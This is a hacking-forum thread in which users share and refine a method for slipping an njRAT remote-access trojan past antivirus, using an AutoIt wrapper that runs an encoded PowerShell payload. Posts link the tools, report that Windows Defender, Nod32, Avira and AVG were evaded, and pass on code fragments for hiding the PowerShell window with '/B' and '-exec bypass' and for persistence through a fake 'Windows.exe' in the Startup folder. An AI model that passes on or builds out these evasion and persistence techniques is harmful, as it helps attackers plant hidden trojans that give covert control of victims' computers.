[NYANxCAT]

Hello guys

So I started learning AutoIt native and I want to share this simple method to bypass some AV.
Scan = https://antiscan.me/scan/new/result?id=ZTvFo7sB3Pop 
I will ignore any "PlZ TeAcH mE H0W to refUd" & " i c&p bUt CAn'T BypAAS" posts..

---

Tools:
LimeBase64 Converter v0.1 -> https://hackforums.net/showthread.php?tid=6013132
XAMPP -> https://www.apachefriends.org/index.html
My njRAT -> http://www.mediafire.com/file/mdz2wdjvdr...T.zip/file [pass=nyan]
AutoIt Src = https://pastebin.com/gQyCekjM

[Death]

You use the same OS and the same Wallpaper as me 🤝

Edit: Good job btw, i always wanted to learn AutoIt but i simply can't find the time.

[naxster]

Works great, thank you! :D

I'm going to try to add some codes to make it to create a copy in Temp/Appdata, and make it startup :D

[SIM-3132187]

That’s cool for the « POC » but in the reality it won’t bypass any AVs at runtime :/

[Pedro32]

Great work brother :) love it

[asmx86]

Pretty cool like technique.

[FUC K YOU FBI]

That’s cool for the « POC » but in the reality it won’t bypass any AVs at runtime :/

Have you seen video idiot ?

---

Hello guys

So I started learning AutoIt native and I want to share this simple method to bypass some AV.
Scan = https://antiscan.me/scan/new/result?id=ZTvFo7sB3Pop 
I will ignore any "PlZ TeAcH mE H0W to refUd" & " i c&p bUt CAn'T BypAAS" posts..

---

Tools:
LimeBase64 Converter v0.1 -> https://hackforums.net/showthread.php?tid=6013132
XAMPP -> https://www.apachefriends.org/index.html
My njRAT -> njRAT v0.7d - NYANxCAT [pass=nyan]
AutoIt Src = https://pastebin.com/gQyCekjM

Awesome share again NyanCat !! BEST 🤗

[naxster]

That’s cool for the « POC » but in the reality it won’t bypass any AVs at runtime :/

I tried this with Windows defender, Nod32, Avira AND AVG, and it bypassed all of them....

So yeaaaaah.....You are wrong :/

[naxster]

btw nyan is the autoit built file runs the file on its own process or just executes ps command so its running in powershell.exe?

U can build the ps script into exe and it will run as its own process. But not sure how the runtime goes that way.

It runs in powershell.exe whenever we run the exe :)

How can we build the ps script into exe? Might be worth trying if AVs work they way around Powershell scripts :)

[NYANxCAT]

btw nyan is the autoit built file runs the file on its own process or just executes ps command so its running in powershell.exe?

the autoit script will execute ps command + passing the args and after that the autoit script will exit.

U can build the ps script into exe and it will run as its own process. But not sure how the runtime goes that way.

I don't think it's possible. Do you have links\references?

[naxster]

I don't know if this will help or anything, but in line 22 where the code is

PHP Code


<?php 
RunWait("cmd /c start /min powershell -noexit -exec bypass -window 


You can replace /min to /B, if you do that the powershell prompt won't show (the one that is minimized), and you will launch it in the background like it's hidden :)

Just wanted to let you know :)

[NYANxCAT]

It is possible. I tried it myself.  ✌

I'll send you a PM shortly.

---

sent. let me know how it goes!

Thanks for the help 🤝

---

I don't know if this will help or anything, but in line 22 where the code is

PHP Code


<?php 
RunWait("cmd /c start /min powershell -noexit -exec bypass -window 


You can replace /min to /B, if you do that the powershell prompt won't show (the one that is minimized), and you will launch it in the background like it's hidden :)

Just wanted to let you know :)

Oh I didn't know about B argument! thanks brother 🤝

[naxster]

Oh I didn't know about B argument! thanks brother  🤝

No problem, happy to help :)

By the way, i just saw that you edited the script and added

PHP Code


<?php 
If Not FileExists(@StartupDir & "/" & "Windows.exe") Then 


Does this means that startup works and it launches the .exe file everytime we boot the computer? :)

Should i write anything in between the "/"? :)

[NYANxCAT]

No problem, happy to help :)

By the way, i just saw that you edited the script and added

PHP Code


<?php 
If Not FileExists(@StartupDir & "/" & "Windows.exe") Then 


Does this means that startup works and it launches the .exe file everytime we boot the computer? :)

Should i write anything in between the "/"? :)

yup it's a basic startup.

[Twistd]

Hello guys

So I started learning AutoIt native and I want to share this simple method to bypass some AV.
Scan = https://antiscan.me/scan/new/result?id=ZTvFo7sB3Pop 
I will ignore any "PlZ TeAcH mE H0W to refUd" & " i c&p bUt CAn'T BypAAS" posts..

---

Tools:
LimeBase64 Converter v0.1 -> https://hackforums.net/showthread.php?tid=6013132
XAMPP -> https://www.apachefriends.org/index.html
My njRAT -> njRAT v0.7d - NYANxCAT [pass=nyan]
AutoIt Src = https://pastebin.com/gQyCekjM

But you completely forgot to do a custom memory scan, which is crucial with ESET.